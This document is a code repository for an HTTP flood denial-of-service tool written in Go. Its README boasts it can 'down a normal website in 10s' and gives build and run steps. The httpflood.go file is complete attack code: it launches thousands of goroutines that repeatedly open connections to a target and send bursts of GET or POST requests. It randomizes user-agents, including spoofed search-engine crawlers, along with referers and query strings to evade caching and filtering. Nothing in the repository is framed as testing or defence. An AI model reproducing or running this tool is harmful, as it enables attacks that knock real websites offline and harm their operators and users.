├── .gitignore ├── LICENSE ├── README.md └── httpflood.go /.gitignore: -------------------------------------------------------------------------------- 1 | # Binaries for programs and plugins 2 | *.exe 3 | *.exe~ 4 | *.dll 5 | *.so 6 | *.dylib 7 | 8 | # Test binary, build with `go test -c` 9 | *.test 10 | 11 | # Output of the go coverage tool, specifically when used with LiteIDE 12 | *.out 13 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2019 Leeon123 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Golang-httpflood ![](https://img.shields.io/badge/Version-2.0-brightgreen.svg) ![](https://img.shields.io/badge/license-MIT-blue.svg) 2 | Using Golang(net/socket) to httpflood 3 | 4 | **Warning: Please use command "ulimit -n 999999" before use this in linux** 5 | 6 | **1 Threads = 1 connection, 100~300 connections can down a normal website in 10s(specially apache server LOL)** 7 | 8 | **This is golang and threads are just goroutines so you set more higher threads like 1000-5000 is fine.** 9 | 10 | **Why can it run over 1000 threads(goroutines)? [Read this](http://tleyden.github.io/blog/2014/10/30/goroutines-vs-threads/)** 11 | 12 | ## INFO 13 | 14 | - [x] HTTP Get Flood 15 | - [x] HTTP Post Flood 16 | - [x] Random url(http get flood) 17 | - [x] Self edit header(You can use "nil" to use default header) 18 | - [x] Improved threading control 19 | - [x] More powerful flood 20 | - [x] Auto get ip form domain(golang inbuilt function) 21 | - [x] More format for random url(http get flood) 22 | - [x] Fixed for 386 systems 23 | ----------------------------------------------------- 24 | Default header setting: 25 | - [x] Random user-agents 26 | - [x] Random data(http post flood) 27 | - [x] Random Accpetall 28 | - [x] Random Referer(only for http get flood) 29 | 30 | 31 | ## Download 32 | ***Please download the F\*cking golang at first.*** 33 | 34 | Then: 35 | 36 | git clone https://github.com/Leeon123/golang-httpflood.git 37 | 38 | Header.txt format: 39 | 40 | Accept: text/html 41 | User-agent: Wget 42 | Referer: http://google.com 43 | 44 | Or anything else of http header. If you don't have any idea of this please just use "nil" for using default random header. 45 | ## Usage 46 | 47 | cd golang-httpflood 48 | go build httpflood.go 49 | ./httpflood 50 | -------------------------------------------------------------------------------- /httpflood.go: -------------------------------------------------------------------------------- 1 | /* 2 | Coded by LeeOn123 3 | Please fking code ur script by ur self, kid. 4 | 5 | I changed the random integers range to the max of int32. 6 | Now 386 systems should work well. 7 | 8 | Looks like most people want to hit the url but not the host/ip. 9 | As a result, here you are. 10 | */ 11 | package main 12 | 13 | import ( 14 | "bufio" 15 | "crypto/tls" 16 | "fmt" 17 | "io" 18 | "math/rand" 19 | "net" 20 | "net/url" 21 | "os" 22 | "strconv" 23 | "strings" 24 | "time" 25 | ) 26 | 27 | var ( 28 | host = "" 29 | port = "80" 30 | page = "" 31 | mode = "" 32 | abcd = "asdfghjklqwertyuiopzxcvbnmASDFGHJKLQWERTYUIOPZXCVBNM" 33 | start = make(chan bool) 34 | acceptall = []string{ 35 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n", 36 | "Accept-Encoding: gzip, deflate\r\n", 37 | "Accept-Language: en-US,en;q=0.5\r\nAccept-Encoding: gzip, deflate\r\n", 38 | "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: iso-8859-1\r\nAccept-Encoding: gzip\r\n", 39 | "Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n", 40 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n", 41 | "Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*\r\nAccept-Language: en-US,en;q=0.5\r\n", 42 | "Accept: text/html, application/xhtml+xml, image/jxr, */*\r\nAccept-Encoding: gzip\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n", 43 | "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Encoding: gzip\r\nAccept-Language: en-US,en;q=0.5\r\nAccept-Charset: utf-8, iso-8859-1;q=0.5\r\n", 44 | "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8\r\nAccept-Language: en-US,en;q=0.5\r\n", 45 | "Accept-Charset: utf-8, iso-8859-1;q=0.5\r\nAccept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1\r\n", 46 | "Accept: text/html, application/xhtml+xml", 47 | "Accept-Language: en-US,en;q=0.5\r\n", 48 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1\r\n", 49 | "Accept: text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Charset: iso-8859-1\r\n"} 50 | key string 51 | choice = []string{"Macintosh", "Windows", "X11"} 52 | choice2 = []string{"68K", "PPC", "Intel Mac OS X"} 53 | choice3 = []string{"Win3.11", "WinNT3.51", "WinNT4.0", "Windows NT 5.0", "Windows NT 5.1", "Windows NT 5.2", "Windows NT 6.0", "Windows NT 6.1", "Windows NT 6.2", "Win 9x 4.90", "WindowsCE", "Windows XP", "Windows 7", "Windows 8", "Windows NT 10.0; Win64; x64"} 54 | choice4 = []string{"Linux i686", "Linux x86_64"} 55 | choice5 = []string{"chrome", "spider", "ie"} 56 | choice6 = []string{".NET CLR", "SV1", "Tablet PC", "Win64; IA64", "Win64; x64", "WOW64"} 57 | spider = []string{ 58 | "AdsBot-Google ( http://www.google.com/adsbot.html)", 59 | "Baiduspider ( http://www.baidu.com/search/spider.htm)", 60 | "FeedFetcher-Google; ( http://www.google.com/feedfetcher.html)", 61 | "Googlebot/2.1 ( http://www.googlebot.com/bot.html)", 62 | "Googlebot-Image/1.0", 63 | "Googlebot-News", 64 | "Googlebot-Video/1.0", 65 | } 66 | referers = []string{ 67 | "https://www.google.com/search?q=", 68 | "https://check-host.net/", 69 | "https://www.facebook.com/", 70 | "https://www.youtube.com/", 71 | "https://www.fbi.com/", 72 | "https://www.bing.com/search?q=", 73 | "https://r.search.yahoo.com/", 74 | "https://www.cia.gov/index.html", 75 | "https://vk.com/profile.php?auto=", 76 | "https://www.usatoday.com/search/results?q=", 77 | "https://help.baidu.com/searchResult?keywords=", 78 | "https://steamcommunity.com/market/search?q=", 79 | "https://www.ted.com/search?q=", 80 | "https://play.google.com/store/search?q=", 81 | } 82 | ) 83 | 84 | func init() { 85 | rand.Seed(time.Now().UnixNano()) //fixed seed problem 86 | } 87 | func getuseragent() string { 88 | 89 | platform := choice[rand.Intn(len(choice))] 90 | var os string 91 | if platform == "Macintosh" { 92 | os = choice2[rand.Intn(len(choice2)-1)] 93 | } else if platform == "Windows" { 94 | os = choice3[rand.Intn(len(choice3)-1)] 95 | } else if platform == "X11" { 96 | os = choice4[rand.Intn(len(choice4)-1)] 97 | } 98 | browser := choice5[rand.Intn(len(choice5)-1)] 99 | if browser == "chrome" { 100 | webkit := strconv.Itoa(rand.Intn(599-500) + 500) 101 | uwu := strconv.Itoa(rand.Intn(99)) + ".0" + strconv.Itoa(rand.Intn(9999)) + "." + strconv.Itoa(rand.Intn(999)) 102 | return "Mozilla/5.0 (" + os + ") AppleWebKit/" + webkit + ".0 (KHTML, like Gecko) Chrome/" + uwu + " Safari/" + webkit 103 | } else if browser == "ie" { 104 | uwu := strconv.Itoa(rand.Intn(99)) + ".0" 105 | engine := strconv.Itoa(rand.Intn(99)) + ".0" 106 | option := rand.Intn(1) 107 | var token string 108 | if option == 1 { 109 | token = choice6[rand.Intn(len(choice6)-1)] + "; " 110 | } else { 111 | token = "" 112 | } 113 | return "Mozilla/5.0 (compatible; MSIE " + uwu + "; " + os + "; " + token + "Trident/" + engine + ")" 114 | } 115 | return spider[rand.Intn(len(spider))] 116 | } 117 | 118 | func contain(char string, x string) int { //simple compare 119 | times := 0 120 | ans := 0 121 | for i := 0; i < len(char); i++ { 122 | if char[times] == x[0] { 123 | ans = 1 124 | } 125 | times++ 126 | } 127 | return ans 128 | } 129 | 130 | func flood() { 131 | addr := host + ":" + port 132 | header := "" 133 | if mode == "get" { 134 | header += " HTTP/1.1\r\nHost: " 135 | header += addr + "\r\n" 136 | if os.Args[5] == "nil" { 137 | header += "Connection: Keep-Alive\r\nCache-Control: max-age=0\r\n" 138 | header += "User-Agent: " + getuseragent() + "\r\n" 139 | header += acceptall[rand.Intn(len(acceptall))] 140 | header += referers[rand.Intn(len(referers))] + "\r\n" 141 | } else { 142 | func() { 143 | fi, err := os.Open(os.Args[5]) 144 | if err != nil { 145 | fmt.Printf("Error: %s\n", err) 146 | return 147 | } 148 | defer fi.Close() 149 | br := bufio.NewReader(fi) 150 | for { 151 | a, _, c := br.ReadLine() 152 | if c == io.EOF { 153 | break 154 | } 155 | header += string(a) + "\r\n" 156 | } 157 | }() 158 | } 159 | } else if mode == "post" { 160 | data := "" 161 | if os.Args[5] != "nil" { 162 | func() { 163 | fi, err := os.Open(os.Args[5]) 164 | if err != nil { 165 | fmt.Printf("Error: %s\n", err) 166 | return 167 | } 168 | defer fi.Close() 169 | br := bufio.NewReader(fi) 170 | for { 171 | a, _, c := br.ReadLine() 172 | if c == io.EOF { 173 | break 174 | } 175 | header += string(a) + "\r\n" 176 | } 177 | }() 178 | 179 | } else { 180 | data = "f" 181 | } 182 | header += "POST " + page + " HTTP/1.1\r\nHost: " + addr + "\r\n" 183 | header += "Connection: Keep-Alive\r\nContent-Type: x-www-form-urlencoded\r\nContent-Length: " + strconv.Itoa(len(data)) + "\r\n" 184 | header += "Accept-Encoding: gzip, deflate\r\n\n" + data + "\r\n" 185 | } 186 | var s net.Conn 187 | var err error 188 | <-start //received signal 189 | for { 190 | if port == "443" { 191 | cfg := &tls.Config{ 192 | InsecureSkipVerify: true, 193 | ServerName: host, //simple fix 194 | } 195 | s, err = tls.Dial("tcp", addr, cfg) 196 | } else { 197 | s, err = net.Dial("tcp", addr) 198 | } 199 | if err != nil { 200 | fmt.Println("Connection Down!!!") //When showing this message, it means ur ip got blocked or the target server down. 201 | } else { 202 | for i := 0; i < 100; i++ { 203 | request := "" 204 | if os.Args[3] == "get" { 205 | request += "GET " + page + key 206 | request += strconv.Itoa(rand.Intn(2147483647)) + string(string(abcd[rand.Intn(len(abcd))])) + string(abcd[rand.Intn(len(abcd))]) + string(abcd[rand.Intn(len(abcd))]) + string(abcd[rand.Intn(len(abcd))]) 207 | } 208 | request += header + "\r\n" 209 | s.Write([]byte(request)) 210 | } 211 | s.Close() 212 | } 213 | //fmt.Println("Threads@", threads, " Hitting Target -->", url)// For those who like share to skid. 214 | } 215 | } 216 | 217 | func main() { 218 | fmt.Println("\r\n'|| ||` || || '||''''| '||` ||` ") 219 | fmt.Println(" || || || || || . || || ") 220 | fmt.Println(" ||''|| ''||'' ''||'' '||''|, --- ||''| || .|''|, .|''|, .|''|| ") 221 | fmt.Println(" || || || || || || || || || || || || || || ") 222 | fmt.Println(".|| ||. `|..' `|..' ||..|' .||. .||. `|..|' `|..|' `|..||. ") 223 | fmt.Println(" || ") 224 | fmt.Println(" .|| Golang version 2.0 ") 225 | fmt.Println(" C0d3d By L330n123") 226 | fmt.Println("==========================================================================") 227 | if len(os.Args) != 6 { 228 | fmt.Println("Post Mode will use header.txt as data") 229 | fmt.Println("If you are using linux please run 'ulimit -n 999999' first!!!") 230 | fmt.Println("Usage: ", os.Args[0], " ") 231 | os.Exit(1) 232 | } 233 | u, err := url.Parse(os.Args[1]) 234 | if err != nil { 235 | println("Please input a correct url") 236 | } 237 | tmp := strings.Split(u.Host, ":") 238 | host = tmp[0] 239 | if u.Scheme == "https" { 240 | port = "443" 241 | } else { 242 | port = u.Port() 243 | } 244 | if port == "" { 245 | port = "80" 246 | } 247 | page = u.Path 248 | if os.Args[3] != "get" && os.Args[3] != "post" { 249 | println("Wrong mode, Only can use \"get\" or \"post\"") 250 | return 251 | } 252 | mode = os.Args[3] 253 | threads, err := strconv.Atoi(os.Args[2]) 254 | if err != nil { 255 | fmt.Println("Threads should be a integer") 256 | } 257 | limit, err := strconv.Atoi(os.Args[4]) 258 | if err != nil { 259 | fmt.Println("limit should be a integer") 260 | } 261 | if contain(page, "?") == 0 { 262 | key = "?" 263 | } else { 264 | key = "&" 265 | } 266 | input := bufio.NewReader(os.Stdin) 267 | 268 | for i := 0; i < threads; i++ { 269 | time.Sleep(time.Microsecond * 100) 270 | go flood() // Start threads 271 | fmt.Printf("\rThreads [%.0f] are ready", float64(i+1)) 272 | os.Stdout.Sync() 273 | //time.Sleep( time.Millisecond * 1) 274 | } 275 | fmt.Printf("\nPlease [Enter] for continue") 276 | _, err = input.ReadString('\n') 277 | if err != nil { 278 | fmt.Println(err) 279 | return 280 | } 281 | fmt.Println("Flood will end in " + os.Args[4] + " seconds.") 282 | close(start) 283 | time.Sleep(time.Duration(limit) * time.Second) 284 | //Keep the threads continue 285 | } 286 | --------------------------------------------------------------------------------